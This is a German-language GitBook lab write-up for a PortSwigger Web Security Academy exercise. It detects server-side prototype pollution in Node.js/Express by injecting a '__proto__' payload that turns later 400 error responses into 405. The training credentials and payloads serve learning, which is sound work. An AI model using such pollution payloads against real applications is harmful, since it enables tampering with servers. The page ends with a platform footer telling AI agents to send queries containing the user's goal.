> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/prototype-pollution/reflection-free-detection-of-changed-properties.md).

# Erkennung geänderter Eigenschaften ohne Spiegelung

Notizen zur Erkennung geänderter Eigenschaften ohne Spiegelung für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Erkennung serverseitiger Prototype Pollution ohne Reflexion verschmutzter Eigenschaften

**Laborkontext**

Dieses Lab läuft auf **Node.js** durch **Express**. Es ist anfällig für eine **serverseitige Prototype Pollution** weil die **merge-Anwendung unsicher ist** aus benutzergesteuerten Daten in einem JavaScript-Serverobjekt.

Ziel: **Verwundbarkeit bestätigen** als `Object.prototype` Schadstoff **sichtbar, aber nicht zerstörerisch**, nur durch eine Änderung des Serververhaltens (kein weiterer Exploit nötig).

Zugangsdaten: `wiener:peter`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d19c5dd9ee5c7ee747584011cedd077ccb6bbe8a%2F%7BABD0D453-AC28-4AFA-B3CB-4D0C7ED5DFFF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Vom Anwendung gesendete Daten (Adresse)**

Durch Ändern der Rechnungs-/Lieferadresse sendet der Browser ein ähnliches JSON an:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU"
}
```

**Eine kontrollierte Fehlermeldung erzeugen, um die Antwort zu beobachten**

Wenn Sie einen JSON-Parsing-Fehler erzwingen (z. B. durch Löschen eines Anführungszeichens), erhalten Sie eine Antwort **400** und der Server gibt ein Fehlerobjekt zurück, in dem die `Inhalt` enthält unsere Nutzlast (reflektiert):

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU
}
```

Typische Antwort:

```json
{
  "error": {
    "expose": true,
    "statusCode": 400,
    "status": 400,
    "body": "{/"address_line_1/":/"Wiener HQ/",/"address_line_2/":/"One Wiener Way/",/"city/":/"Wienerville/",/"postcode/":/"BU1 1RP/",/"country/":/"UK/",/"sessionId/":/"P72CQIVn4eYngmsyw4efwGYTXt3RSMrU/r/n}",
    "type": "entity.parse.failed"
  }
}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2de4ffb19108aa5a5c4fdbd9b0b8749195970b11%2F%7BCF101AA8-E666-445D-B493-7B4614A6DB72%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Idee: Nachweis der Verschmutzung ohne direkte Reflexion**

Statt darauf zu warten, dass eine verschmutzte Eigenschaft im Body zurückgegeben wird, kann man auf eine **messbare Verhaltensänderung**, z. B. den \*\*HTTP-Statuscode\*\*, der bei einem Fehler zurückgegeben wird.

Hier verwendet der Server Felder wie `status` / `statusCode`. Wenn es uns gelingt, `Object.prototype.status`, dann kann Express (oder der Fehlerhandler) diesen Wert bei zukünftigen Fehlern über die Prototyp-Vererbung abrufen → der Server gibt einen anderen **status**.

**Verschmutzungsversuch über `__proto__`**

A `__proto__` Schlüssel wird in das JSON eingefügt (in einer gültigen JSON-seitigen Abfrage, nicht in einer fehlerhaften Abfrage), zum Beispiel:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU,
  "__proto__": {
    "status": 405
    }
}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13142ee16a2b83071ec1e17de55db67d5a117341%2F%7B0E3ADAC1-446F-4697-8F06-447A7EF39BF0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Erwarteter Effekt: Nach dieser Verschmutzung, **jeder Fehler** (z. B. ein absichtlicher JSON-Parsing-Fehler) kann jetzt mit **405 statt 400**, weil `status` von `Object.prototype`.

**Ergebnis / Validierung**

* Vor der Verschmutzung: Fehler → `400`
* Nach der Verschmutzung: Fehler → `405` (oder anderer gewählter Code)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8502a11bc755a8ff5b77addcdbe4a8d4883a5a6%2F%7B880D560F-8BA7-437B-AE97-36FDD182BA6C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/prototype-pollution/reflection-free-detection-of-changed-properties.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
